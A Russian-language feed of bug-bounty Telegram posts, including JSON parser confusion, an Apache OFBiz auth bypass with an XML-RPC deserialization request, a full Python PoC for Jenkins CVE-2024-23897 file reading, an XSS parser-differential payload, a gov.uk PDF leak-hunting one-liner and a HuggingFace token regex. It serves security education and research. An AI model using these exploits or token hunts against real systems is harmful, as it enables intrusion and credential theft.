Недавно было раскрыто несколько отчетов (например тут или тут), где исследователь просто отслеживал изменения в файлах JS и таким образом находил уязвимости.
Почитать подробнее об этом вы можете тут, а ниже прикладываю инструмент, который поможет вам отслеживать такие изменения и информировать вас о них в телеграмм.
Thx @cyb3r4z
Ссылка на GitHub
#web #tools #js
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - robre/jsmon: a javascript change monitoring tool for bugbounties
a javascript change monitoring tool for bugbounties - GitHub - robre/jsmon: a javascript change monitoring tool for bugbounties
🔥19👍4
Forwarded from Cybred
Разработчики любят писать микросервисы для "перекладывания JSON". Стандарт устоявшийся и, как правило, не сулит проблем. Но так ли это на самом деле?
Возьмем небольшое приложение с двумя микросервисами:
— Cart — реализует бизнес-логику корзины
— Payment — используется для обработки платежей
Cart написан на Python с Flask и принимает ID товаров с их количеством. Попробуем отправить в него запрос с двумя одинаковыми ключами:
Сервис провалидирует JSON в соответствии со схемой
Дальше провалидированный JSON отправляется в микросервис Payment.
А микросервис Payment написан уже на Go и использует другой парсер buger/jsonparser. Он уже не валидирует JSON (ведь валидация была на предыдущем шаге), но использует приоритет первого ключа (
Мы смотрим в чек, который вернулся в ответе, и видим ошибку. Нам будет отправлено шесть товаров стоимостью 700 долларов, но с нас взяли только 300 долларов, из-за расчетов со вторым ключом.
Такие ошибки возникают из-за того, что существует много стандартов JSON:
1. json.org
2. IETF RFC 4627
3. ECMAScript 262
4. ECMA 404
5. IETF RFC 7158
6. IETF RFC 7159
7. JSON5
8. HJSON
И в каждом из них свои правила парсинга JSON: о том, как обрабатывать дублирующие ключи, что делать с большими числами с плавающей точкой, что считать валидным, а что нет. И на каждом из этих этапов могут возникнуть коллизии, позволяющие обходить средства защиты или вызывающие баги в бизнес логике.
Полезные ссылки:
— https://seriot.ch/json/parsing.html — большая таблица-сравнение: как разные парсеры обрабатывают разные значения.
— https://bishopfox.com/blog/json-interoperability-vulnerabilities — я рассказал только об одном баге, но их гораздо больше: здесь можно почитать обо всех остальных.
— https://github.com/a1phaboy/JsonDetect — расширение для Burp для определения того, какой парсер используется.
Возьмем небольшое приложение с двумя микросервисами:
— Cart — реализует бизнес-логику корзины
— Payment — используется для обработки платежей
Cart написан на Python с Flask и принимает ID товаров с их количеством. Попробуем отправить в него запрос с двумя одинаковыми ключами:
"cart": [
{
"id": 0,
"qty": 5
},
{
"id": 1,
"qty": -1,
"qty": 1
}
]
Сервис провалидирует JSON в соответствии со схемой
jsonschema.validate(instance=data, schema=schema). Убедится, что id: 0 <= x <= 10 and qty: >= 1. На этом этапе не будет ошибки (не смотря на то, что один из отправленных qty не подходит под условие), поскольку Flask использует стандартный JSON-парсер из Python, а тот сериализует данные, отдавая приоритет последнего ключа (qty = 1).Дальше провалидированный JSON отправляется в микросервис Payment.
А микросервис Payment написан уже на Go и использует другой парсер buger/jsonparser. Он уже не валидирует JSON (ведь валидация была на предыдущем шаге), но использует приоритет первого ключа (
qty = -1). Считает итоговую сумму total = total + productDB[id]["price"].(int64) * qty и генерирует чек.Мы смотрим в чек, который вернулся в ответе, и видим ошибку. Нам будет отправлено шесть товаров стоимостью 700 долларов, но с нас взяли только 300 долларов, из-за расчетов со вторым ключом.
Такие ошибки возникают из-за того, что существует много стандартов JSON:
1. json.org
2. IETF RFC 4627
3. ECMAScript 262
4. ECMA 404
5. IETF RFC 7158
6. IETF RFC 7159
7. JSON5
8. HJSON
И в каждом из них свои правила парсинга JSON: о том, как обрабатывать дублирующие ключи, что делать с большими числами с плавающей точкой, что считать валидным, а что нет. И на каждом из этих этапов могут возникнуть коллизии, позволяющие обходить средства защиты или вызывающие баги в бизнес логике.
Полезные ссылки:
— https://seriot.ch/json/parsing.html — большая таблица-сравнение: как разные парсеры обрабатывают разные значения.
— https://bishopfox.com/blog/json-interoperability-vulnerabilities — я рассказал только об одном баге, но их гораздо больше: здесь можно почитать обо всех остальных.
— https://github.com/a1phaboy/JsonDetect — расширение для Burp для определения того, какой парсер используется.
👍19🔥7🤯5
Forwarded from Новости SPbCTF (Kseniya Kravtsova)
☕️² Время собирать подводные камни — в Java
Паша рассказал о подводных камнях веб-приложений на Java на примере четырёх способов исполнить произвольный код через малоизвестные компоненты и странности их поведения.
В программе: RCE через Spring View Manipulation, RCE через Java Deserialization, RCE через Java Naming and Directory Interface и RCE через FastJSON. Бонусом Паша показал ещё одну хитрую RCE-цепочку в своём таске на Java Attach API для Беллюминара (WCTF) 2020.
Доклад будет полезен тем, кто хочет узнать больше фишек и забытых механизмов в Java-вебчике, чтобы расширить свой багхантерский потенциал.
Видео: youtu.be/HVWW_tNoLkY
Презентация: vk.com/doc-114366489_607590017
— vk.com/wall-114366489_2279 —
Паша рассказал о подводных камнях веб-приложений на Java на примере четырёх способов исполнить произвольный код через малоизвестные компоненты и странности их поведения.
В программе: RCE через Spring View Manipulation, RCE через Java Deserialization, RCE через Java Naming and Directory Interface и RCE через FastJSON. Бонусом Паша показал ещё одну хитрую RCE-цепочку в своём таске на Java Attach API для Беллюминара (WCTF) 2020.
Доклад будет полезен тем, кто хочет узнать больше фишек и забытых механизмов в Java-вебчике, чтобы расширить свой багхантерский потенциал.
Видео: youtu.be/HVWW_tNoLkY
Презентация: vk.com/doc-114366489_607590017
— vk.com/wall-114366489_2279 —
YouTube
Лето 2021: RCE-атаки на Java-вебчик (JVMyachni stories), Павел Топорков
Доклад с летней новогодней сходки SPbCTF (https://vk.com/spbctf)
Паша рассказал, что Java — это весело: какие есть старые легаси-приколы в распространённых Java-компонентах, которые позволяют получить RCE. Доклад будет полезен тем, кто хочет узнать больше…
Паша рассказал, что Java — это весело: какие есть старые легаси-приколы в распространённых Java-компонентах, которые позволяют получить RCE. Доклад будет полезен тем, кто хочет узнать больше…
🔥15🤯2👍1
Forwarded from Ralf Hacker Channel (Ralf Hacker)
SMTP Smuggling - Spoofing E-Mails Worldwide. Очень крутой, при этом подробный ресерч. Вкратце, благодаря смаглу сообщений, позволяет отправить сообщение от имени любого пользователя почтового сервера в обход фильтров.
https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/
P.S. Ну и судя по реакции вендоров, они того рот ... патчить это дело😁 А значит ждем много отчётов об апте, использующей данный метод
#initial #fishing #pentest #redteam
https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/
P.S. Ну и судя по реакции вендоров, они того рот ... патчить это дело😁 А значит ждем много отчётов об апте, использующей данный метод
#initial #fishing #pentest #redteam
👍8🔥5🤔2😢2
🔑 Утечки ключей HuggingFace
С развитием нейросетей увеличилось число сервисов для работы с ними, что в свою очередь дарит нам возможность поискать утекшие токены от этих сервисов.
Вот тут, например, исследователь нашел 1681 валидный токен через HuggingFace и GitHub у таких гигантов как Meta, Microsoft, Google и Vmware и получил полный доступ к репозиториям Meta-Llama, Bloom, Pythia и HuggingFace.
Можно взять себе на заметку и добавить регулярку к списку своих дорков, так как я ее не видел ни в одном из популярных публичных списков, а также проанализировать похожие сервисы на утечки.
#web #recon #leak #dork
С развитием нейросетей увеличилось число сервисов для работы с ними, что в свою очередь дарит нам возможность поискать утекшие токены от этих сервисов.
Вот тут, например, исследователь нашел 1681 валидный токен через HuggingFace и GitHub у таких гигантов как Meta, Microsoft, Google и Vmware и получил полный доступ к репозиториям Meta-Llama, Bloom, Pythia и HuggingFace.
Можно взять себе на заметку и добавить регулярку к списку своих дорков, так как я ее не видел ни в одном из популярных публичных списков, а также проанализировать похожие сервисы на утечки.
/hf_([a-zA_Z0-9]{32,})/#web #recon #leak #dork
👍24
Желаю, чтобы ваши поиски всегда были успешными, а каждая найденная уязвимость приносила не только удовлетворение, но и заслуженное вознаграждение.
Пусть Новый год будет полон интересных открытий и невероятных находок и принесет вам радость, удачу и множество приятных сюрпризов. До встречи в новом году!
Please open Telegram to view this post
VIEW IN TELEGRAM
☃40🎄9👍1
Исследуя таргет часто попадается много pdf'ок, которые могут содержать конфиденциальные данные. Просматривать вручную все это очень долго, а потому можно попробовать автоматизировать этот процесс.
.pdf с помощью Grep.sudo apt install poppler-utils
internal use only" или "confidential" и т.д.В результате чего получим такую команду:
for i in $(echo "gov.uk" | gau --subs --threads 16 | grep -E -o 'https?://[^[:space:]]+\.pdf' | httpx -silent -mc 200); do if curl -k -s $i | pdftotext -q - - | grep -Eaiq 'confidential|internal use only'; then echo $i | tee output.txt; fi; done
Эта команда сканирует веб-сайт "
gov.uk" и его поддомены в поиске URL-ов с PDF-файлами. Затем она проверяет каждый PDF-файл на наличие строк "confidential" или "internal use only" и записывает эти URL-ы в файл "output.txt".Вы можете включить свое творческое мышление и попытаться изменить этот скрипт по своему усмотрению. Например, используя katana вместо gau или проверяя наличие других чувствительных слов, используя другие расширения и т.д. Использование собственного творческого подхода даст вам максимальную отдачу!
#web #recon #leak
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥30👍7😢1
Forwarded from wr3dmast3r vs pentest
Многие оставляют недоработанными вектора атак с self-XSS или XSS, заблокированной CSP. Иногда стоит уделить достаточно внимания каждой такой находке и посмотреть на уязвимость с другой стороны 😈
В этой статье мы рассмотрим различные методы и техники, которые расширяют границы XSS-атак: эксплуатацию XSS через service-worker, self-XSS в один клик и другие сочетания уязвимостей💎
https://telegra.ph/XSS-Advanced-Level-01-09
В этой статье мы рассмотрим различные методы и техники, которые расширяют границы XSS-атак: эксплуатацию XSS через service-worker, self-XSS в один клик и другие сочетания уязвимостей
https://telegra.ph/XSS-Advanced-Level-01-09
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegraph
XSS Advanced Level
Я часто встречаю XSS, которые не дают возможности использовать что-то кроме вызова алерта, или какие-нибудь Self-XSS без возможности эксплуатации. Однако, если приложить достаточно усилий, то можно докрутить даже многие Self-XSS, используя их в комбинации…
🔥11🤔3👍1
Forwarded from Заметки Слонсера (Slonser)
#quick #XSS
Многие забывают, что парсинг html на бекенде - довольно сложный процесс. Поэтому на уровне даже стандартных парсеров популярных языков программирования - он не реализован полностью
Рассмотрим код на python:
Этот код выводит теги и их атрибуты.
При этом стандартная библиотека питона не учитывает, что для тегов
Содержимое не обрабатывается как html теги
Соответственно при вводе:
Результат парсинга будет выглядеть следующим образом:
В то время как в браузере это будет выглядеть следующим образом:
И соответсвенно выведется alert()
Вещь баянистая, но многие про это забывают при той же эксплуатации Server Side XSS
Попробую такой формат заметок
Многие забывают, что парсинг html на бекенде - довольно сложный процесс. Поэтому на уровне даже стандартных парсеров популярных языков программирования - он не реализован полностью
Рассмотрим код на python:
from html.parser import HTMLParser
class MyHTMLParser(HTMLParser):
def handle_starttag(self, tag, attrs):
print(f"{tag}")
for attr in attrs:
print(f" ->{attr[0]}: {attr[1]}")
def handle_endtag(self, tag):
pass
def handle_startendtag(self, tag, attrs):
print(f"{tag}")
for attr in attrs:
print(f" ->{attr[0]}: {attr[1]}")
def handle_data(self, data):
pass
html_string = input()
parser = MyHTMLParser()
parser.feed(html_string)
Этот код выводит теги и их атрибуты.
При этом стандартная библиотека питона не учитывает, что для тегов
"iframe", "noembed", "noframes", "noscript", "plaintext", "title", "textarea", "xmp"
Содержимое не обрабатывается как html теги
Соответственно при вводе:
<textarea><a href="x></textarea><img src=x onerror=alert()//">
Результат парсинга будет выглядеть следующим образом:
textarea
a
->href: x></textarea><img src=x onerror=alert()//
В то время как в браузере это будет выглядеть следующим образом:
<textarea><a href="x></textarea><img src="x" onerror="alert()//"">
И соответсвенно выведется alert()
Вещь баянистая, но многие про это забывают при той же эксплуатации Server Side XSS
Попробую такой формат заметок
👍27🔥7😁3
#web #idor #logic #xss
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥23👍7
Forwarded from Monkey Hacker
Oh yes, ping pong
Под конец прошлого года, прошла шумиха с Apache Ofbiz, который позволял сделать байпас аутентификации и проабьюзать😺
Суть заключается в том, что
Тут все начинается с
Дальше идем в
Т.е по факту, мы тупо можем обойти проверку, путем вставки любого символа ему, и плюс
Поэтому мы можем дергать ручки
А через серелиализацию, мы передаем наш шелл, который можно сделать через ysoserial
Под конец прошлого года, прошла шумиха с Apache Ofbiz, который позволял сделать байпас аутентификации и проабьюзать
XML-RPC. Решил глянуть, что это было и как оно происходит Суть заключается в том, что
XML-RPC, по логике можно использовать только с валидными кредами, но глянем на сам момент аутентификации юзера в LoginWorker.javaList<String> unpwErrMsgList = new LinkedList<String>();
if (UtilValidate.isEmpty(username)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.username_was_empty_reenter", UtilHttp.getLocale(request)));
}
if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.password_was_empty_reenter", UtilHttp.getLocale(request)));
}
boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));
if (!unpwErrMsgList.isEmpty()) {
request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList);
return requirePasswordChange ? "requirePasswordChange" : "error";
}
Тут все начинается с
requirePasswordChange, который не обращает внимание на то, введет ли юзер валидные креды. Если юзер в качестве параметра отдает Y, то метод login(HttpServletRequest request, HttpServletResponse response) вернет строку requirePasswordChangeДальше идем в
checkLogin() и там уже идет следующий моментif (username == null
|| (password == null && token == null)
|| "error".equals(login(request, response)))
Т.е по факту, мы тупо можем обойти проверку, путем вставки любого символа ему, и плюс
"error".equals(login(request, response)) не будет срабатывать, т.к мы заставили login(...) вернуть requirePasswordChangeПоэтому мы можем дергать ручки
XML-RPC/webtools/control/ping?USERNAME=&PASSWORD=s&requirePasswordChange=Y
А через серелиализацию, мы передаем наш шелл, который можно сделать через ysoserial
POST /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Length: 4002
Content-Type: application/xml
<?xml version="1.0"?>
<methodCall>
<methodName>Methodname</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">serialized_shell</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥28👍4🤔2
Forwarded from вольтаж
На новогодних праздниках, вместо поедания мандаринов, решил совместно с SidneyJob, провести исследование поведений браузеров при мисконфигурации CORS.
Разобрали как работает SOP и CORS, посмотрели возможные мисконфиги и способы их эксплуатации, провели несколько экспериментов, и даже вспомнили, как работают регулярки.
Мы даже сделали для этого отдельную лабу! В ней ты сможешь создавать свои PoC'и при мисконфигурация CORS'a и сразу же кидать на них ссылки уже в отчёте.
Всё получившееся собрали вместе и выпустили как нашу первую статью на xakep.ru. Приятного чтения!
https://xakep.ru/2024/01/18/cors-cheatsheet/
Please open Telegram to view this post
VIEW IN TELEGRAM
xakep.ru
Курс на мисконфиги. Как поймать проблемный CORS на проде
В этой статье мы расскажем, как работает технология SOP, которая защищает твой браузер от вредоносных скриптов. Разберем основные виды мисконфигов и составим шпаргалки с разными случаями поведения CORS. В конце разберем пример и проверим работоспособность…
🔥13👍1😁1
Forwarded from Что-то на пентестерском
Привет! Теперь я могу выложить статью с помощью которой проскочил на Standoff Hacks. Также команда standoff 365 помогла её отредактировать, за что большое спасибо и теперь я выложил её на хабр
Краткое содержание статьи
Приятного чтения & Happy hacking
ЧТНП | #web
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍4😢2
Forwarded from Похек (Sergey Zybnev)
Злоумышленники могут успешно атаковать 98% веб-приложений. И это не просто громкие цифры, а данные из исследования Positive Technologies. Как такое возможно, если есть инструменты и практики типа SAST, DAST и WAF, а разработчики вроде бы нормально кодят?
Давайте я объясню, как устроены опасные атаки, на примере с разработчиком Василием, который работает в интернет-магазине и которому начальство подкидывает разные интересные задачки.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍4
Небольшой рассказ о том, как обычное почтовое предложение позволяло злоумышленнику получить доступ к данным других пользователей и раскрыть конфиденциальную личную информацию.
Ссылка на статью
#web #idor #leak
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegraph
Я получил банковское предложение на свою почту и обнаружил IDOR стоимостью 5000$
В октябре 2023 года я открыл банковский счет в надежде обнаружить какие-либо уязвимости. Я уже тестировал эту банковскую программу раньше, однако мне не везло (это очень известный банк, поэтому было очень трудно что-то найти, если не выделять множество часов…
👍17🔥4
Forwarded from Заметки Слонсера (Slonser)
История одной уязвимости в Chrome
Очень простая уязвимость, которую я нашел в Google Chrome. И за которую получил 16000$.
Попытался дать побольше контекста, чтобы увеличить пользу от прочтения материала.
Habr
Twitter
P.S. Лучшей благодарностью, если вам понравился материал - является его распространение.
Очень простая уязвимость, которую я нашел в Google Chrome. И за которую получил 16000$.
Попытался дать побольше контекста, чтобы увеличить пользу от прочтения материала.
Habr
P.S. Лучшей благодарностью, если вам понравился материал - является его распространение.
Хабр
History of one Google Chrome bug
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор не несет ответственности за любой вред,...
🔥19👍4😢1
Forwarded from Похек (Sergey Zybnev)
Jenkins RCE CVE-2024-23897
Критическая уязвимость в Jenkins. Позволяет выполнить RCE на атакуемой машине через уязвимый модуль args4j.
PoC
Использование:
🌚 @poxek
Критическая уязвимость в Jenkins. Позволяет выполнить RCE на атакуемой машине через уязвимый модуль args4j.
PoC
import threading
import http.client
import time
import uuid
import urllib.parse
import sys
if len(sys.argv) != 3:
print('[*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]')
exit()
data_bytes = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + sys.argv[2].encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03'
target = urllib.parse.urlparse(sys.argv[1])
uuid_str = str(uuid.uuid4())
print(f'REQ: {data_bytes}\n')
def req1():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "download"
})
print(f'RESPONSE: {conn.getresponse().read()}')
def req2():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "upload",
"Content-type": "application/octet-stream"
}, body=data_bytes)
t1 = threading.Thread(target=req1)
t2 = threading.Thread(target=req2)
t1.start()
time.sleep(0.1)
t2.start()
t1.join()
t2.join()
Использование:
python poc.py http://127.0.0.1:8888/ [/etc/passwd]
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15👍6
Forwarded from Cybred
Подделка подписей на Github
Перед тем, как что-нибудь закоммитить в репозиторий, git просит пользователя указать имя и email. Если сделать так
Github подхватит почту и будет помечать твои коммиты, как будто их на самом деле сделал Линус, — с его именем, аватаркой и ссылкой на профиль https://github.com/torvalds.
Так может сделать любой, и поэтому существует зеленая надпись "Verified" напротив коммитов, подписанных с помощью GPG.
Если отправить что-нибудь через веб, коммит подпишется от имени
Для этого сырой блоб отправляется на внутренний эндпоинт https://api.github.com/vscs_internal/commit/sign, где его подхватывает
На бэкенде проверяется условие, что строка автора из коммита, полученная с помощью регулярки
Но имя может быть пустым, тогда коммит будет таким
где первая строка — сгенерирована автоматически,
а вторая — фейковая, уже отправленная нами.
Первая не подойдет под регулярку, поэтому будет взята вторая, которую мы контролируем. И так мы можем получить галочку "Verified" на коммит с именем Торвальдса без его подписи, или с любым другим именем.
Автору заплатили $10.000. Баг удалось найти в Codespaces, благодаря реверсу GitHub Enterprise Server Trial VM.
Перед тем, как что-нибудь закоммитить в репозиторий, git просит пользователя указать имя и email. Если сделать так
git config --global user.name "Linus Torvalds"
git config --global user.email "torvalds@linux-foundation.org"
Github подхватит почту и будет помечать твои коммиты, как будто их на самом деле сделал Линус, — с его именем, аватаркой и ссылкой на профиль https://github.com/torvalds.
Так может сделать любой, и поэтому существует зеленая надпись "Verified" напротив коммитов, подписанных с помощью GPG.
Если отправить что-нибудь через веб, коммит подпишется от имени
GitHub <noreply@github.com> и тоже будет считаться верифицированным. Для этого сырой блоб отправляется на внутренний эндпоинт https://api.github.com/vscs_internal/commit/sign, где его подхватывает
gh-gpgsign и возвращает подписанный результат.На бэкенде проверяется условие, что строка автора из коммита, полученная с помощью регулярки
/\Aauthor (.+?) <(.+)>/, должны быть равна имени текущего залогиненного пользователя.Но имя может быть пустым, тогда коммит будет таким
author <583231+octocat@users.noreply.github.com> 1682188800 +0000
author username <user@example.com> 1682188800 +0000
где первая строка — сгенерирована автоматически,
а вторая — фейковая, уже отправленная нами.
Первая не подойдет под регулярку, поэтому будет взята вторая, которую мы контролируем. И так мы можем получить галочку "Verified" на коммит с именем Торвальдса без его подписи, или с любым другим именем.
Автору заплатили $10.000. Баг удалось найти в Codespaces, благодаря реверсу GitHub Enterprise Server Trial VM.
🔥17👍5🤔1
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16👍4